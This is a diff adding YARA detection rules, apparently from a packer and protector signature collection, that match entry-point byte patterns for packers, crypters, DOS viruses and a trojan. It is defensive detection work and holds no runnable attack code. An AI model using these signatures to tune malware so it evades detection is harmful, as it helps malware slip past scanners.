+			$a0 = { 55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule AlexProtectorv04beta1byAlex
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule UG2002Cruncherv03b3
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FishPEShield101HellFish
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14 }
+	$a1 = { 60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01Neolite20Anorganix
+	{
+	strings:
+			$a0 = { E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEIntrov10
+	{
+	strings:
+			$a0 = { 8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidiumv1250ObsidiumSoftware
+	{
+	strings:
+			$a0 = { E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule DevC4992BloodshedSoftware
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV119DllLZMA430ap0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XJXPALLiNSoN
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Armadillov220b1
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptor20Vaska
+	{
+	strings:
+			$a0 = { F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SentinelSuperProAutomaticProtectionv641Safenet
+	{
+	strings:
+			$a0 = { A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TMTPascalv040
+	{
+	strings:
+			$a0 = { 0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02CrunchPEHeuristicAnorganix
+	{
+	strings:
+			$a0 = { 55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeMSVCDLLMethod4emadicius
+	{
+	strings:
+			$a0 = { 55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VcAsmProtectorV10XVcAsm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VBOXv42MTE
+	{
+	strings:
+			$a0 = { 8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeUPX0896102105124emadicius
+	{
+	strings:
+			$a0 = { 60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandDelphiMicrosoftVisualC
+	{
+	strings:
+			$a0 = { 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 }
+	$a1 = { C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule VxHafen809
+	{
+	strings:
+			$a0 = { E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule RLPackFullEdition117LZMAAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01LTC13Anorganix
+	{
+	strings:
+			$a0 = { 54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ACProtectv141
+	{
+	strings:
+			$a0 = { 60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorV1031AshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElock096tE
+	{
+	strings:
+			$a0 = { E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WerusCrypter10byKas
+	{
+	strings:
+			$a0 = { BB E8 12 40 00 80 33 05 E9 7D FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HEALTHv51byMuslimMPolyak
+	{
+	strings:
+			$a0 = { 1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCGuardv303dv305d
+	{
+	strings:
+			$a0 = { 55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxNovember17768
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule BeRoTinyPascalBeRo
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivateexeProtector21522XSetiSoftTeam
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Protectorv1111DDeMPEEnginev09DDeMCIv092
+	{
+	strings:
+			$a0 = { 53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01XCR011Anorganix
+	{
+	strings:
+			$a0 = { 60 8B F0 33 DB 83 C3 01 83 C0 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Trivial173bySMTSMF
+	{
+	strings:
+			$a0 = { EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv11MTE
+	{
+	strings:
+			$a0 = { 60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WARNINGTROJANRobinPE
+	{
+	strings:
+			$a0 = { 60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PiCryptor10byScofield
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 }
+	$a1 = { 55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3 }
+	$a2 = { 89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point) or $a2
+	}
+	
+	
+	rule PseudoSigner02MacromediaFlashProjector60Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeWWPack321xemadicius
+	{
+	strings:
+			$a0 = { 53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEArmor07600765hying
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PECryptv102
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ILUCRYPTv4015exe
+	{
+	strings:
+			$a0 = { 8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+
+	rule NJoy13NEX
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VBOXv43v46
+	{
+	strings:
+			$a0 = { 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 }
+	$a1 = { 90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule CodeLockvxx
+	{
+	strings:
+			$a0 = { 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CipherWallSelfExtratorDecryptorGUIv15
+	{
+	strings:
+			$a0 = { 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ARMProtectorv01bySMoKE
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Upackv037betaDwing
+	{
+	strings:
+			$a0 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 }
+	$a1 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule PrivateExeProtector1xsetisoft
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petitev14
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv20a0
+	{
+	strings:
+			$a0 = { 83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 }
+
